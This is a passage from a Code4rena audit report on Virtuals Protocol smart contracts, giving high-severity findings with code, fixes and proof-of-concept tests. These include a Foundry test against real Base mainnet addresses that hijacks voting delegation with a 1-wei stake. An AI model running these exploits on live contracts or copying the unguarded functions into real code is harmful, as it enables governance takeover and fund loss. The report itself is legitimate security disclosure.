Overview

About C4

Code4rena (C4) is a competitive audit platform where security researchers, referred to as Wardens, review, audit, and analyze codebases for security vulnerabilities in exchange for bounties provided by sponsoring projects.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Virtuals Protocol smart contract system. The audit took place from April 17 to May 07, 2025.

Final report assembled by Code4rena.

Summary

The C4 analysis yielded an aggregated total of 32 unique vulnerabilities. Of these vulnerabilities, 6 received a risk rating in the category of HIGH severity and 26 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 38 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding, which may include relevant context from the judge and Virtuals Protocol team.

Scope

The code under review can be found within the C4 Virtuals Protocol repository, and is composed of 43 smart contracts written in the Solidity programming language and includes 5,238 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (6)

[H-01] Lack of access control in AgentNftV2::addValidator() enables unauthorized validator injection and causes reward accounting inconsistencies

Submitted by joicygiore, also found by Astroboy, BRONZEDISC, classic-k, CoheeYang, Damboy, DanielTan_MetaTrust, danzero, debo, gmh5225, gregom, hail_the_lord, hecker_trieu_tien, hirosyama, holtzzx, io10, levi_104, Olugbenga, PotEater, shui, and testnate

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/28e93273daec5a9c73c438e216dde04c084be452/contracts/virtualPersona/AgentNftV2.sol#L133-L139

The AgentNftV2::addValidator() function lacks any form of access control. While the mint() function of AgentNftV2 does enforce role-based restrictions (MINTER_ROLE), a malicious actor can exploit the AgentFactoryV2::executeApplication() logic to predict and obtain the next virtualId through a call to IAgentNft(nft).nextVirtualId().

By doing so, an attacker can preemptively call addValidator() and append a validator to _validators[virtualId]. Later, when AgentNftV2::mint() is called, it invokes _addValidator() again, causing the validator to be added a second time. This results in a duplicate validator entry for the same virtual ID.

    // AgentNftV2::mint()
    function mint(
        uint256 virtualId,
        address to,
        string memory newTokenURI,
        address payable theDAO,
        address founder,
        uint8[] memory coreTypes,
        address pool,
        address token
    ) external onlyRole(MINTER_ROLE) returns (uint256) {
        require(virtualId == _nextVirtualId, "Invalid virtualId");
        _nextVirtualId++;
        _mint(to, virtualId);
        _setTokenURI(virtualId, newTokenURI);
        VirtualInfo storage info = virtualInfos[virtualId];
        info.dao = theDAO;
        info.coreTypes = coreTypes;
        info.founder = founder;
        IERC5805 daoToken = GovernorVotes(theDAO).token();
        info.token = token;

VirtualLP storage lp = virtualLPs[virtualId];
        lp.pool = pool;
        lp.veToken = address(daoToken);

_stakingTokenToVirtualId[address(daoToken)] = virtualId;
@>        _addValidator(virtualId, founder);
@>        _initValidatorScore(virtualId, founder);
        return virtualId;
    }
    // AgentNftV2::addValidator()
    // Expected to be called by `AgentVeToken::stake()` function
    function addValidator(uint256 virtualId, address validator) public {
        if (isValidator(virtualId, validator)) {
            return;
        }
        _addValidator(virtualId, validator);
        _initValidatorScore(virtualId, validator);
    }
    // ValidatorRegistry::_addValidator()
    function _addValidator(uint256 virtualId, address validator) internal {
        _validatorsMap[virtualId][validator] = true;
@>        _validators[virtualId].push(validator);
        emit NewValidator(virtualId, validator);
    }

    // AgentFactoryV2::executeApplication() 
    function executeApplication(uint256 id, bool canStake) public noReentrant {
        // This will bootstrap an Agent with following components:
        // C1: Agent Token
        // C2: LP Pool + Initial liquidity
        // C3: Agent veToken
        // C4: Agent DAO
        // C5: Agent NFT
        // C6: TBA
        // C7: Stake liquidity token to get veToken

        // SNIP...
        // C5
@>        uint256 virtualId = IAgentNft(nft).nextVirtualId();
@>        IAgentNft(nft).mint(
            virtualId,
            _vault,
            application.tokenURI,
            dao,
            application.proposer,
            application.cores,
            lp,
            token
        );
        application.virtualId = virtualId;
        // SNIP...
    }

The reward mechanism in AgentRewardV2 relies on iterating over validator lists to compute and distribute rewards. If a validator is duplicated due to the aforementioned issue, the reward distribution logic - particularly in _distributeValidatorRewards() — recalculates and overwrites the validator’s rewards.

This does not break reward allocation for individual validators due to overwriting. However, the shared variable validatorPoolRewards accumulates validator-level residuals multiple times due to the duplicated validator entries. As a result, validatorPoolRewards can become overstated relative to the actual token amount deposited.

When withdrawValidatorPoolRewards() is eventually called, it transfers this erroneously accumulated excess amount to the designated address. This reduces the contract’s balance below what is required to cover valid validator rewards, ultimately resulting in reward claim failures unless someone manually tops up the shortfall.

    // AgentRewardV2::distributeRewards()
    function distributeRewards(uint256 amount) public onlyGov returns (uint32) {
        require(amount > 0, "Invalid amount");

@>        IERC20(rewardToken).safeTransferFrom(_msgSender(), address(this), amount);

        RewardSettingsCheckpoints.RewardSettings memory settings = getRewardSettings();

        uint256 protocolShares = _distributeProtocolRewards(amount);

        uint256 agentShares = amount - protocolShares;
        _prepareAgentsRewards(agentShares, settings);
        return SafeCast.toUint32(_mainRewards.length - 1);
    }
    // AgentRewardV2::_distributeValidatorRewards()
    function _distributeValidatorRewards(
        uint256 amount,
        uint256 virtualId,
        uint48 rewardId,
        uint256 totalStaked
    ) private {
        IAgentNft nft = IAgentNft(agentNft);
        // Calculate weighted validator shares
        uint256 validatorCount = nft.validatorCount(virtualId);
        uint256 totalProposals = nft.totalProposals(virtualId);
        for (uint256 i = 0; i < validatorCount; i++) {
            address validator = nft.validatorAt(virtualId, i);

            // Get validator revenue by votes weightage
            address stakingAddress = getVirtualTokenAddress(nft, virtualId);
            uint256 votes = IERC5805(stakingAddress).getVotes(validator);
            uint256 validatorRewards = (amount * votes) / totalStaked;

            // Calc validator reward based on participation rate
            uint256 participationReward = totalProposals == 0
                ? 0
                : (validatorRewards * nft.validatorScore(virtualId, validator)) / totalProposals;
@>            _validatorRewards[validator][rewardId] = participationReward;
@>            validatorPoolRewards += validatorRewards - participationReward;
        }
    }
    // AgentRewardV2::withdrawValidatorPoolRewards()
    function withdrawValidatorPoolRewards(address recipient) external onlyGov {
        require(validatorPoolRewards > 0, "No validator pool rewards");
        IERC20(rewardToken).safeTransfer(recipient, validatorPoolRewards);
        validatorPoolRewards = 0;
    }

Recommended mitigation steps

Add access control to addValidator():

- function addValidator(uint256 virtualId, address validator) public {
+ function addValidator(uint256 virtualId, address validator) public onlyRole(VALIDATOR_ADMIN_ROLE) {
    if (isValidator(virtualId, validator)) {
        return;
    }
    _addValidator(virtualId, validator);
    _initValidatorScore(virtualId, validator);
}

Virtuals marked as informative

[H-02] Anybody can control a user’s delegate by calling AgentVeToken.stake() with 1 wei

Submitted by BowTiedOriole, also found by 0x1982us, BlackAdam, chupinexx, Egbe, Ishenxx, natachi, and Pelz

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/main/contracts/virtualPersona/AgentVeToken.sol#L80

AgentVeToken.stake() function will automatically update the delegatee for the receiver. A malicious user can stake 1 wei of the LP token, set the receiver to be a user with an high balance of the veTokens, and set themselves as the delegatee.

function stake(uint256 amount, address receiver, address delegatee) public {
    require(canStake || totalSupply() == 0, "Staking is disabled for private agent"); // Either public or first staker

    address sender = _msgSender();
    require(amount > 0, "Cannot stake 0");
    require(IERC20(assetToken).balanceOf(sender) >= amount, "Insufficient asset token balance");
    require(IERC20(assetToken).allowance(sender, address(this)) >= amount, "Insufficient asset token allowance");

    IAgentNft registry = IAgentNft(agentNft);
    uint256 virtualId = registry.stakingTokenToVirtualId(address(this));

    require(!registry.isBlacklisted(virtualId), "Agent Blacklisted");

    if (totalSupply() == 0) {
        initialLock = amount;
    }

    registry.addValidator(virtualId, delegatee);

    IERC20(assetToken).safeTransferFrom(sender, address(this), amount);
    _mint(receiver, amount);
    _delegate(receiver, delegatee); // @audit-high Anybody can change delegate if they stake 1 wei LP
    _balanceCheckpoints[receiver].push(clock(), SafeCast.toUint208(balanceOf(receiver)));
}

Since these are the tokens that are used as voting power in the AgentDAO, a malicious user can donate 1 wei to multiple users with high balances, receive a majority voting power, then submit a malicious proposal.

Recommended mitigation steps

Either remove the automatic call to _delegate or only do the call if sender == receiver.

Proof of Concept

Create a new foundry project, set BASE_RPC_URL, and run.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function mint(address to, uint256 amount) external;
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

interface IAgentToken is IERC20 {
    function distributeTaxTokens() external;

    function projectTaxPendingSwap() external view returns (uint256);

    function projectTaxRecipient() external view returns (address);

    function setProjectTaxRecipient(address projectTaxRecipient_) external; 

    function setSwapThresholdBasisPoints(uint16 swapThresholdBasisPoints_) external;

    function setProjectTaxRates(
        uint16 newProjectBuyTaxBasisPoints_,
        uint16 newProjectSellTaxBasisPoints_
    ) external;
}

interface IVeToken {
    function stake(uint256 amount, address receiver, address delegatee) external;

    function delegates(address account) external view returns (address);
}

interface IUniswapV2Router {
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
}

contract StakeDelegatePOC is Test {
    IAgentToken agentToken = IAgentToken(0x1C4CcA7C5DB003824208aDDA61Bd749e55F463a3);
    address agentPair = 0xD418dfE7670c21F682E041F34250c114DB5D7789;

    IERC20 virtualToken = IERC20(0x0b3e328455c4059EEb9e3f84b5543F74E24e7E1b);
    address bridge = 0x4200000000000000000000000000000000000010;
    IUniswapV2Router router = IUniswapV2Router(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);

    string BASE_RPC_URL = vm.envString("BASE_RPC_URL");
    address user = makeAddr("user");
    uint256 virtualAmount = 2000 ether;

    function setUp() public {
        uint256 forkId = vm.createFork(BASE_RPC_URL, 29_225_700);
        vm.selectFork(forkId);

        // Set up the user with virtual tokens
        vm.prank(bridge);
        virtualToken.mint(user, virtualAmount);
    }

    function test_malicious_stake_delegate_poc() public {
        vm.startPrank(user);
        virtualToken.approve(address(router), type(uint256).max);
        agentToken.approve(address(router), type(uint256).max);

        // Swap half of the virtual tokens to agent tokens
        address[] memory path = new address[](2);
        path[0] = address(virtualToken);
        path[1] = address(agentToken);
        router.swapExactTokensForTokens(virtualAmount / 2, 0, path, user, block.timestamp);

        // Add liquidity to the pool to get LP tokens
        router.addLiquidity(
            address(virtualToken),
            address(agentToken),
            virtualAmount / 2,
            agentToken.balanceOf(user),
            1,
            1,
            user,
            block.timestamp
        );

        address gameDeployer = 0xD38493119859b8806ff28C32c41fdd67Ef41b8Ef; // Main holder of veTokens

        IVeToken veToken = IVeToken(0x974a21754271dD3d71a16F2852F8e226a9276b3E);
        assertNotEq(veToken.delegates(gameDeployer), user);

        // Stake 1 wei of LP for gameDeployer to update delegate
        IERC20(agentPair).approve(address(veToken), 1);
        veToken.stake(1, gameDeployer, user);
        assertEq(veToken.delegates(gameDeployer), user);
    }
}

Virtuals marked as informative

[H-03] Public ServiceNft::updateImpact call leads to cascading issue

Submitted by YouCrossTheLineAlfie, also found by Astroboy, debo, EPSec, gmh5225, gregom, hecker_trieu_tien, Heyu, holtzzx, LeoGold, levi_104, maxzuvex, oakcobalt, Pelz, PotEater, Rorschach, shui, soloking, and TheDonH

The ServiceNft::mint is designed to be called via governance:

Contribution Process: Contributors submit their proposals through our frontend, utilizing the modular consensus framework. Each proposal generates a contribution NFT regardless of acceptance, authenticating the submission's origin.

State Finality in ICV: Accepted contributions are minted as service NFTs on-chain and assigned to the appropriate Virtual address within the ICV, validating their integration into the Virtual ecosystem.

This function calls the ServiceNft::updateImpact which sets up the impacts using the datasetImpactWeight variable:

    function updateImpact(uint256 virtualId, uint256 proposalId) public {
    
        // . . . Rest of the code . . .
        if (datasetId > 0) {
            _impacts[datasetId] = (rawImpact * datasetImpactWeight) / 10000;            <<@ -- // datasetImpactWeight is used
            _impacts[proposalId] = rawImpact - _impacts[datasetId];                     <<@ -- // Affects both `proposalId` and `datasetId`
            emit SetServiceScore(datasetId, _maturities[proposalId], _impacts[datasetId]);
            _maturities[datasetId] = _maturities[proposalId];
        }

        // . . . Rest of the code . . .
    }

However, as we can see the ServiceNft::updateImpact’s visibility modifier is public, allowing anyone to call it with any virtualId/proposalId. So if the admin decides to call the ServiceNft::setDatasetImpactWeight, there would be a cascading issue where users would simply update the impact accordingly to their own favour.

There are financial incentives observed as well, described as follows:

1. The AgentRewardV2::_distributeContributorRewards uses ServiceNft::getImpact call for calculating rewards; hence, allowing to gain higher rewards or provide lesser rewards to the rest.

    function _distributeContributorRewards(
        uint256 amount,
        uint256 virtualId,
        RewardSettingsCheckpoints.RewardSettings memory settings
    ) private {
       // . . . Rest of the code . . .
        for (uint i = 0; i < services.length; i++) {
            serviceId = services[i];
            impact = serviceNftContract.getImpact(serviceId);           <<@ -- // Uses getImpact
            if (impact == 0) {
                continue;
            }

            ServiceReward storage serviceReward = _serviceRewards[serviceId];
            if (serviceReward.impact == 0) {
                serviceReward.impact = impact;
            }
            _rewardImpacts[reward.id][serviceNftContract.getCore(serviceId)] += impact;
        }

        // . . . Rest of the code . . . 
    }

2. The Minter::mint uses the ServiceNft::getImpact call to transfer tokens; hence, leading to excess or lower funds being transferred.

    function mint(uint256 nftId) public noReentrant {
        
        // . . . Rest of the code . . .

        uint256 finalImpactMultiplier = _getImpactMultiplier(virtualId);
        uint256 datasetId = contribution.getDatasetId(nftId);
        uint256 impact = IServiceNft(serviceNft).getImpact(nftId);          <<@ -- // Uses getImpact
        if (impact > maxImpact) {
            impact = maxImpact;
        }
        uint256 amount = (impact * finalImpactMultiplier * 10 ** 18) / DENOM;
        uint256 dataAmount = datasetId > 0
            ? (IServiceNft(serviceNft).getImpact(datasetId) * finalImpactMultiplier * 10 ** 18) / DENOM
            : 0;

        // . . . Rest of the code . . .
    }

Impact

1. Public ServiceNft::updateImpact function allows changing impacts to anyone.

2. Cascading issue leads loss of funds via:

   • Higher / Lower rewards according to the datasetImpactWeight increase or decrease.
   • Higher / Lower mints as per the datasetImpactWeight change.

Recommended mitigation steps

It is highly contextual as per what the protocol intends to do, it is suggested to not keep updateImpact as a public function as it would be unfair for other users:

-    function updateImpact(uint256 virtualId, uint256 proposalId) public {
+    function updateImpact(uint256 virtualId, uint256 proposalId) internal {

Proof of Concept

The test case below was ran using a base mainnet fork, please add the same to the hardhat.config.js file.

The hardhat version wasn’t supporting the base mainnet fork, so it had to be upgraded:

    "hardhat": "^2.23.0",

Add the following values to the .env file (along with private keys:

### Genesis DAO settings
GENESIS_VOTING_DELAY=0
GENESIS_VOTING_PERIOD=900
GENESIS_PROPOSAL_THRESHOLD=0

### Virtual DAO settings
PROTOCOL_VOTING_DELAY=0
PROTOCOL_VOTING_PERIOD=900
PROTOCOL_PROPOSAL_THRESHOLD=1000000000000000000000000
PROTOCOL_QUORUM_NUMERATOR=1000

### Other settings
CHAIN_ID=84532
VIRTUAL_APPLICATION_THRESHOLD=50000000000000000000 # 50
VIRTUAL_APPLICATION_THRESHOLD_VIP=125000000000000000000 #125 $V
MATURITY_DURATION=1000 # number of blocks until initial virtual staker can withdraw (1000 blocks = ~33 minutes)

### AgentToken settings
AGENT_TOKEN_SUPPLY=1000000000 # 1B supply
AGENT_TOKEN_LIMIT_TRX=100000 # 100k max token per txn
AGENT_TOKEN_LIMIT_WALLET=1000000 # 1M token per wallet
AGENT_TOKEN_LP_SUPPLY=1000000000 # 1B LP tokens
AGENT_TOKEN_LIMIT=1000000000
AGENT_TOKEN_VAULT_SUPPLY=0 #
BOT_PROTECTION=3600 # 1hr
TAX=100 # 3%
BONDING_TAX=1
SWAP_THRESHOLD=1 # 0.00001% of total supply
### VOTING_TOKEN=
TBA_REGISTRY=

### Reward settings
PARENT_SHARES=2000 # 20%
PROTOCOL_SHARES=1000 # 10%
CONTRIBUTOR_SHARES=5000 # 50%
STAKER_SHARES=9000 # 90%
REWARD_STAKE_THRESHOLD=2000000000000000000 # 2 eth
DATASET_SHARES=7000 # 70%

### TAX MANAGER
MIN_SWAP_THRESHOLD=100000000000000000 # 0.1
MAX_SWAP_THRESHOLD=1000000000000000000000 # 1000

UNISWAP_ROUTER=0x4752ba5dbc23f44d87826276bf6fd6b1c372ad24

Create a file called PoC.js anad add the following test case inside the /tests folder and run npx hardhat test --grep "Unfair updateImpact":

const { parseEther, toBeHex, formatEther } = require("ethers/utils");
const { expect } = require("chai");
const {
  loadFixture,
  mine,
  impersonateAccount,
  setBalance,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { ethers } = require("hardhat");

describe("AgentFactory", () => {
  const PROPOSAL_THRESHOLD = parseEther("50000"); // 50k
  const MATURITY_SCORE = toBeHex(2000, 32); // 20%
  const IP_SHARE = 1000; // 10%

  const genesisInput = {
    name: "Jessica",
    symbol: "JSC",
    tokenURI: "http://jessica",
    daoName: "Jessica DAO",
    cores: [0, 1, 2],
    tbaSalt:
      "0xa7647ac9429fdce477ebd9a95510385b756c757c26149e740abbab0ad1be2f16",
    tbaImplementation: process.env.TBA_IMPLEMENTATION || ethers.ZeroAddress,
    daoVotingPeriod: 600,
    daoThreshold: 1000000000000000000000n,
  };

  const getAccounts = async () => {
    const [deployer, ipVault, founder, poorMan, trader, treasury, randomAddr] = await ethers.getSigners();
  
    // Fund all accounts with ETH for gas (10 ETH each)
    const fundAccounts = [deployer, ipVault, founder, poorMan, trader, treasury];
    for (const account of fundAccounts) {
      await setBalance(account.address, parseEther("10"));
    }
  
    return { deployer, ipVault, founder, poorMan, trader, treasury, randomAddr };
  };

  async function deployBaseContracts() {
    const { deployer, ipVault, treasury } = await getAccounts();

    // Setting up environment variables if not present in the actual .env
    // This is for testing purposes only
    if (!process.env.TBA_IMPLEMENTATION) process.env.TBA_IMPLEMENTATION = ethers.ZeroAddress;
    if (!process.env.DATASET_SHARES) process.env.DATASET_SHARES = "1000"; // 10%
    if (!process.env.UNISWAP_ROUTER) process.env.UNISWAP_ROUTER = "0x8aEF2b5C33686F8621A17B9Aaff079E7d8D673f9"; // Base mainnet Uniswap router
    if (!process.env.AGENT_TOKEN_LIMIT) process.env.AGENT_TOKEN_LIMIT = parseEther("10000000").toString(); // 10M
    if (!process.env.AGENT_TOKEN_LP_SUPPLY) process.env.AGENT_TOKEN_LP_SUPPLY = parseEther("5000000").toString(); // 5M
    if (!process.env.AGENT_TOKEN_VAULT_SUPPLY) process.env.AGENT_TOKEN_VAULT_SUPPLY = parseEther("2000000").toString(); // 2M
    if (!process.env.BOT_PROTECTION) process.env.BOT_PROTECTION = "100"; // 1%
    if (!process.env.TAX) process.env.TAX = "500"; // 5%
    if (!process.env.SWAP_THRESHOLD) process.env.SWAP_THRESHOLD = parseEther("10").toString(); // 10 tokens

    console.log("Deploying VirtualToken...");
    const virtualToken = await ethers.deployContract(
      "VirtualToken",
      [PROPOSAL_THRESHOLD, deployer.address],
      {}
    );

    await virtualToken.waitForDeployment();
    console.log(`VirtualToken deployed at ${virtualToken.target}`);

    console.log("Deploying ERC6551Registry Registry");
    const tbaRegistry = await ethers.deployContract("ERC6551Registry");
    await tbaRegistry.waitForDeployment();
    console.log("Deployed ERC6551Registry Registry");

    console.log("Deploying AgentNftV2...");
    const AgentNft = await ethers.getContractFactory("AgentNftV2");
    const agentNft = await upgrades.deployProxy(AgentNft, [deployer.address]);
    console.log(`AgentNftV2 deployed at ${agentNft.target}`);

    console.log("Deploying ContributionNft...");
    const contribution = await upgrades.deployProxy(
      await ethers.getContractFactory("ContributionNft"),
      [agentNft.target],
      {}
    );
    console.log(`ContributionNft deployed at ${contribution.target}`);

    console.log("Deploying ServiceNft...");
    const service = await upgrades.deployProxy(
      await ethers.getContractFactory("ServiceNft"),
      [agentNft.target, contribution.target, process.env.DATASET_SHARES],
      {}
    );
    console.log(`ServiceNft deployed at ${service.target}`);

    await agentNft.setContributionService(contribution.target, service.target);
    console.log("Set contribution and service on AgentNft");

    // Implementation contracts
    console.log("Deploying AgentToken...");
    const agentToken = await ethers.deployContract("AgentToken");
    await agentToken.waitForDeployment();
    console.log(`AgentToken deployed at ${agentToken.target}`);
    
    console.log("Deploying AgentDAO...");
    const agentDAO = await ethers.deployContract("AgentDAO");
    await agentDAO.waitForDeployment();
    console.log(`AgentDAO deployed at ${agentDAO.target}`);
    
    console.log("Deploying AgentVeToken...");
    const agentVeToken = await ethers.deployContract("AgentVeToken");
    await agentVeToken.waitForDeployment();
    console.log(`AgentVeToken deployed at ${agentVeToken.target}`);

    console.log("Deploying AgentFactoryV2...");
    const agentFactory = await upgrades.deployProxy(
      await ethers.getContractFactory("AgentFactoryV2"),
      [
        agentToken.target,
        agentVeToken.target,
        agentDAO.target,
        tbaRegistry.target,
        virtualToken.target,
        agentNft.target,
        PROPOSAL_THRESHOLD,
        deployer.address,
      ]
    );
    await agentFactory.waitForDeployment();
    console.log(`AgentFactoryV2 deployed at ${agentFactory.target}`);
    
    await agentNft.grantRole(await agentNft.MINTER_ROLE(), agentFactory.target);
    console.log("Granted MINTER_ROLE to AgentFactory");
    
    console.log("Deploying Minter...");
    const minter = await upgrades.deployProxy(
      await ethers.getContractFactory("Minter"),
      [
        service.target,
        contribution.target,
        agentNft.target,
        1e12,
        20,
        ipVault.address,
        agentFactory.target,
        deployer.address,
        1e10,
      ]
    );
    await minter.waitForDeployment();
    console.log(`Minter deployed at ${minter.target}`);

    console.log("Setting parameters on AgentFactory...");
    await agentFactory.setMaturityDuration(86400 * 365 * 10); // 10years
    await agentFactory.setUniswapRouter(process.env.UNISWAP_ROUTER);
    await agentFactory.setTokenAdmin(deployer.address);
    
    await agentFactory.setTokenSupplyParams(
      process.env.AGENT_TOKEN_LIMIT,
      process.env.AGENT_TOKEN_LP_SUPPLY,
      process.env.AGENT_TOKEN_VAULT_SUPPLY,
      process.env.AGENT_TOKEN_LIMIT,
      process.env.AGENT_TOKEN_LIMIT,
      process.env.BOT_PROTECTION,
      minter.target
    );
    
    await agentFactory.setTokenTaxParams(
      process.env.TAX,
      process.env.TAX,
      process.env.SWAP_THRESHOLD,
      treasury.address
    );
    console.log("AgentFactory parameters set");

    return { virtualToken, agentFactory, agentNft, minter, tbaRegistry, service };
  }

  async function deployWithApplication() {
    const base = await deployBaseContracts();
    const { agentFactory, virtualToken, tbaRegistry } = base;
    const { founder } = await getAccounts();

    // Prepare tokens for proposal
    console.log("Minting VirtualToken for founder...");
    await virtualToken.mint(founder.address, PROPOSAL_THRESHOLD);
    await virtualToken
      .connect(founder)
      .approve(agentFactory.target, PROPOSAL_THRESHOLD);

console.log("Proposing agent...");
    const tx = await agentFactory
      .connect(founder)
      .proposeAgent(
        genesisInput.name,
        genesisInput.symbol,
        genesisInput.tokenURI,
        genesisInput.cores,
        genesisInput.tbaSalt,
        tbaRegistry.target,
        genesisInput.daoVotingPeriod,
        genesisInput.daoThreshold
      );

      await tx.wait();

    const filter = agentFactory.filters.NewApplication;
    const events = await agentFactory.queryFilter(filter, -1);
    const event = events[0];
    const { id } = event.args;
    console.log(`Agent application created with ID: ${id}`);
    
    return { applicationId: id, ...base };
  }

  async function deployWithAgent() {
    const base = await deployWithApplication();
    const { agentFactory, applicationId } = base;

    const { founder } = await getAccounts();
    console.log("Executing application...");
    await agentFactory
      .connect(founder)
      .executeApplication(applicationId, false);

    const factoryFilter = agentFactory.filters.NewPersona;
    const factoryEvents = await agentFactory.queryFilter(factoryFilter, -1);
    const factoryEvent = factoryEvents[0];

    const { virtualId, token, veToken, dao, tba, lp } = await factoryEvent.args;
    console.log(`Agent created with virtualId: ${virtualId}`);

    return {
      ...base,
      agent: {
        virtualId,
        token,
        veToken,
        dao,
        tba,
        lp,
      },
    };
  }

  before(async function () {
    // Increase timeout for all tests
    this.timeout(60000);
  });

it("Unfair updateImpact", async function () {

    const { agent, agentNft, virtualToken, service} = await loadFixture(
      deployWithAgent
    );
    const { trader, poorMan, founder, randomAddr, deployer } = await getAccounts();
    
    // Update the impact
    await service.connect(trader).updateImpact(1n, 1n);
    
    // Old - DATASET_SHARES=7000 # 70%
    expect(await service.datasetImpactWeight()).to.be.eq(7000n);
    
    // Change the datasetImpactWeight
    // Setting to 8000
    await service.connect(deployer).setDatasetImpactWeight(8000n);

    expect(await service.datasetImpactWeight()).to.be.eq(8000n);
    
    // Again updating impact should work
    await service.connect(trader).updateImpact(1n, 1n);

  });

});

Virtuals marked as informative

[H-04] Public ContributionNft::mint leads to cascading issues / loss of funds

Submitted by YouCrossTheLineAlfie, also found by axelot, DarkeEEandMe, Legend, mbuba666, RaOne, and sergei2340

The contributors are supposed to submit their proposals via frontend and it is assumed from the docs, that the frontend calls the ContributionNft::mint function to mint as per the proposed proposal.

Contribution Process: Contributors submit their proposals through our frontend, utilizing the modular consensus framework. Each proposal generates a contribution NFT regardless of acceptance, authenticating the submission's origin.

However, the ContributionNft::mint is un-gaurded, allowing proposers to mint their own NFTs.

    function mint(
        address to,
        uint256 virtualId,
        uint8 coreId,
        string memory newTokenURI,
        uint256 proposalId,
        uint256 parentId,
        bool isModel_,
        uint256 datasetId
    ) external returns (uint256) {
        IGovernor personaDAO = getAgentDAO(virtualId);
        require(
            msg.sender == personaDAO.proposalProposer(proposalId),
            "Only proposal proposer can mint Contribution NFT"
        );
        require(parentId != proposalId, "Cannot be parent of itself");

An issue arises here when these proposers are able to pass in incorrect/bogus values of incorrect coreId, newTokenURI, parentId, isModel_ and datasetId.

Impact

1. Incorrect cores and model values inside the ServiceNft::mint function, leading to incorrect serviceNFT mint:

    function mint(uint256 virtualId, bytes32 descHash) public returns (uint256) {
        // . . . Rest of the code . . .
        uint256 proposalId = personaDAO.hashProposal(targets, values, calldatas, descHash);
        _mint(info.tba, proposalId);
        _cores[proposalId] = IContributionNft(contributionNft).getCore(proposalId);     <<@ -- // Incorrect core set
        // Calculate maturity
        _maturities[proposalId] = IAgentDAO(info.dao).getMaturity(proposalId);

        bool isModel = IContributionNft(contributionNft).isModel(proposalId);               <<@ -- // Incorrect model
        if (isModel) {
            emit CoreServiceUpdated(virtualId, _cores[proposalId], proposalId);
            updateImpact(virtualId, proposalId);
            _coreServices[virtualId][_cores[proposalId]] = proposalId;
        } else {
            _coreDatasets[virtualId][_cores[proposalId]].push(proposalId);
        }
        // . . . Rest of the code . . .
    }

2. Incorrect datasetId would overwrite someone else’s values as well as incorrect _impacts calculated for both proposalId and datasetId can be seen inside the ServiceNft::updateImpact:

    function updateImpact(uint256 virtualId, uint256 proposalId) public {
       
       // . . . Rest of the code . . .

        uint256 datasetId = IContributionNft(contributionNft).getDatasetId(proposalId);     <<@ -- // Incorrect datasetId

        _impacts[proposalId] = rawImpact;
        if (datasetId > 0) {
            _impacts[datasetId] = (rawImpact * datasetImpactWeight) / 10000;                <<@ -- // Incorrect impact calculated
            _impacts[proposalId] = rawImpact - _impacts[datasetId];                         <<@ -- // Incorrect impact calculated
            emit SetServiceScore(datasetId, _maturities[proposalId], _impacts[datasetId]);
            _maturities[datasetId] = _maturities[proposalId];
        }

       // . . . Rest of the code . . .
    }

This clearly breaks three functionalities:

1. The AgentRewardV2::_distributeContributorRewards uses ServiceNft::getImpact call for calculating rewards; hence, allowing to gain higher rewards or provide lesser rewards to the rest.

    function _distributeContributorRewards(
        uint256 amount,
        uint256 virtualId,
        RewardSettingsCheckpoints.RewardSettings memory settings
    ) private {
       // . . . Rest of the code . . .
        for (uint i = 0; i < services.length; i++) {
            serviceId = services[i];
            impact = serviceNftContract.getImpact(serviceId);           <<@ -- // Uses getImpact
            if (impact == 0) {
                continue;
            }

            ServiceReward storage serviceReward = _serviceRewards[serviceId];
            if (serviceReward.impact == 0) {
                serviceReward.impact = impact;
            }
            _rewardImpacts[reward.id][serviceNftContract.getCore(serviceId)] += impact;
        }

        // . . . Rest of the code . . . 
    }

2. The Minter::mint uses the ServiceNft::getImpact call to transfer tokens; hence, leading to excess or lower funds being transferred.

    function mint(uint256 nftId) public noReentrant {
        
        // . . . Rest of the code . . .

        uint256 finalImpactMultiplier = _getImpactMultiplier(virtualId);
        uint256 datasetId = contribution.getDatasetId(nftId);
        uint256 impact = IServiceNft(serviceNft).getImpact(nftId);          <<@ -- // Uses getImpact
        if (impact > maxImpact) {
            impact = maxImpact;
        }
        uint256 amount = (impact * finalImpactMultiplier * 10 ** 18) / DENOM;
        uint256 dataAmount = datasetId > 0
            ? (IServiceNft(serviceNft).getImpact(datasetId) * finalImpactMultiplier * 10 ** 18) / DENOM
            : 0;

        // . . . Rest of the code . . .
    }

3. AgentDAO::_calcMaturity uses ContributionNft::getCore which would calculate incorrect core allowing to manipulate coreService:

    function _calcMaturity(uint256 proposalId, uint8[] memory votes) internal view returns (uint256) {
        address contributionNft = IAgentNft(_agentNft).getContributionNft();
        address serviceNft = IAgentNft(_agentNft).getServiceNft();
        uint256 virtualId = IContributionNft(contributionNft).tokenVirtualId(proposalId);
        uint8 core = IContributionNft(contributionNft).getCore(proposalId);                 <<@ -- // Hence, calculating incorrect core.
        uint256 coreService = IServiceNft(serviceNft).getCoreService(virtualId, core);
        // All services start with 100 maturity
        uint256 maturity = 100;
        if (coreService > 0) {
            maturity = IServiceNft(serviceNft).getMaturity(coreService);
            maturity = IEloCalculator(IAgentNft(_agentNft).getEloCalculator()).battleElo(maturity, votes);
        }

        return maturity;
    }

